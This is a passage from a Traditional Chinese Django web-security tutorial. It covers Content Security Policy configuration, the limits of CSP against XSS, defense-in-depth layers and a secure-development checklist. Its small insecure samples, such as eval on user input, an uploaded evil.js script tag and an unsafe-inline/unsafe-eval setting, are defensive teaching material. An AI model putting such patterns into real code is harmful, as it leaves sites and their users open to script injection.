<script src="/static/app.js"></script>
  1. 禁止 inline 事件處理器:
<!-- ❌ 被 CSP 阻擋 -->
<button onclick="doSomething()">Click</button>

<!-- ✅ 使用外部腳本 addEventListener -->
<button id="myButton">Click</button>
<script src="/static/app.js"></script>
  1. 禁止 eval() 和類似函數:
// ❌ 被 CSP 阻擋(如果沒有 unsafe-eval)
eval(userInput);
setTimeout(userInput, 1000);
Function(userInput)();
  1. 白名單域名:
CSP_SCRIPT_SRC = ("'self'", "https://cdn.example.com")
# 只允許從這些域名載入腳本

CSP 配置範例:

# 最嚴格的 CSP
CSP_DEFAULT_SRC = ("'none'",)
CSP_SCRIPT_SRC = ("'self'",)
CSP_STYLE_SRC = ("'self'",)
CSP_IMG_SRC = ("'self'", "data:", "https:")
CSP_CONNECT_SRC = ("'self'",)
CSP_FONT_SRC = ("'self'",)
CSP_FRAME_ANCESTORS = ("'none'",)  # 防止 Clickjacking
CSP_BASE_URI = ("'self'",)
CSP_FORM_ACTION = ("'self'",)

CSP 的局限性:

  1. 不能防止所有 XSS:
<!-- 即使有 CSP,這仍然危險(如果允許 self) -->
<script src="/user-upload/evil.js"></script>
<!-- 如果攻擊者能上傳檔案到你的域名 -->
  1. 不能防止 Stored XSS 的數據竊取:
// CSP 阻止執行,但內容仍然在 DOM 中
// 攻擊者可能通過 CSS injection 竊取數據
  1. 瀏覽器支援問題:
  • 舊版瀏覽器不支援 CSP
  • 某些 CSP 指令只在新版瀏覽器支援
  1. 配置錯誤:
# ❌ 不安全的配置
CSP_SCRIPT_SRC = ("'unsafe-inline'", "'unsafe-eval'")
# 這基本上等於沒有 CSP
  1. 不能替代 Output Encoding:
CSP 是一層額外的防禦,但不能替代:
- Output Encoding(最重要!)
- Input Validation
- 使用安全的 API

最佳實踐:

CSP 應該作為 Defense in Depth 的一部分:

Layer 1: Input Validation
Layer 2: Output Encoding ⭐ 最重要
Layer 3: 使用安全 API
Layer 4: CSP ⭐ 額外防護
Layer 5: HttpOnly Cookie

關鍵原則: CSP 是最後一道防線,不是第一道防線!


🔟 重點回顧

學到的技能

  1. 建立演練環境:

    • 本地 Django 項目
    • Docker 容器
    • 專門的演練平台
  2. 實戰5種攻擊:

    • Reflected XSS
    • Stored XSS
    • DOM-based XSS
    • 繞過黑名單過濾
    • CSP 測試
  3. 防禦技巧:

    • Django Template Auto-escaping
    • Django Forms 驗證
    • Bleach 白名單過濾
    • Markdown 替代 HTML
    • CSP 配置
    • 資料庫清理
  4. 檢測方法:

    • 手動測試 Payload
    • 自動化掃描工具
    • 代碼審查
    • DOM XSS 檢測腳本

安全開發檢查清單

開發階段:

  • 所有用戶輸入都使用 Django Forms 驗證
  • 使用 Django Template(自動 escape)
  • 避免 |safemark_safe
  • 使用 Markdown 而非 HTML 輸入
  • 配置 CSP
  • 設置 HttpOnly Cookie
  • 使用 textContent 而非 innerHTML (JavaScript)

測試階段:

  • 測試所有輸入點(表單、URL、Headers)
  • 嘗試繞過過濾器
  • 測試 DOM XSS
  • 使用自動化掃描工具
  • Code Review

部署階段:

  • 確認 DEBUG = False
  • 確認 CSP 已啟用
  • 確認 Cookie 安全設置
  • 設置 Security Headers
  • 定期安全掃描

📖 延伸閱讀與練習平台

練習平台:

工具:


🔗 系列導航


📝 本文完成日期: 2025-01-15 🔖 標籤: #WebSecurity #XSS #HandsOn #Django #Python #滲透測試 #面試準備

0%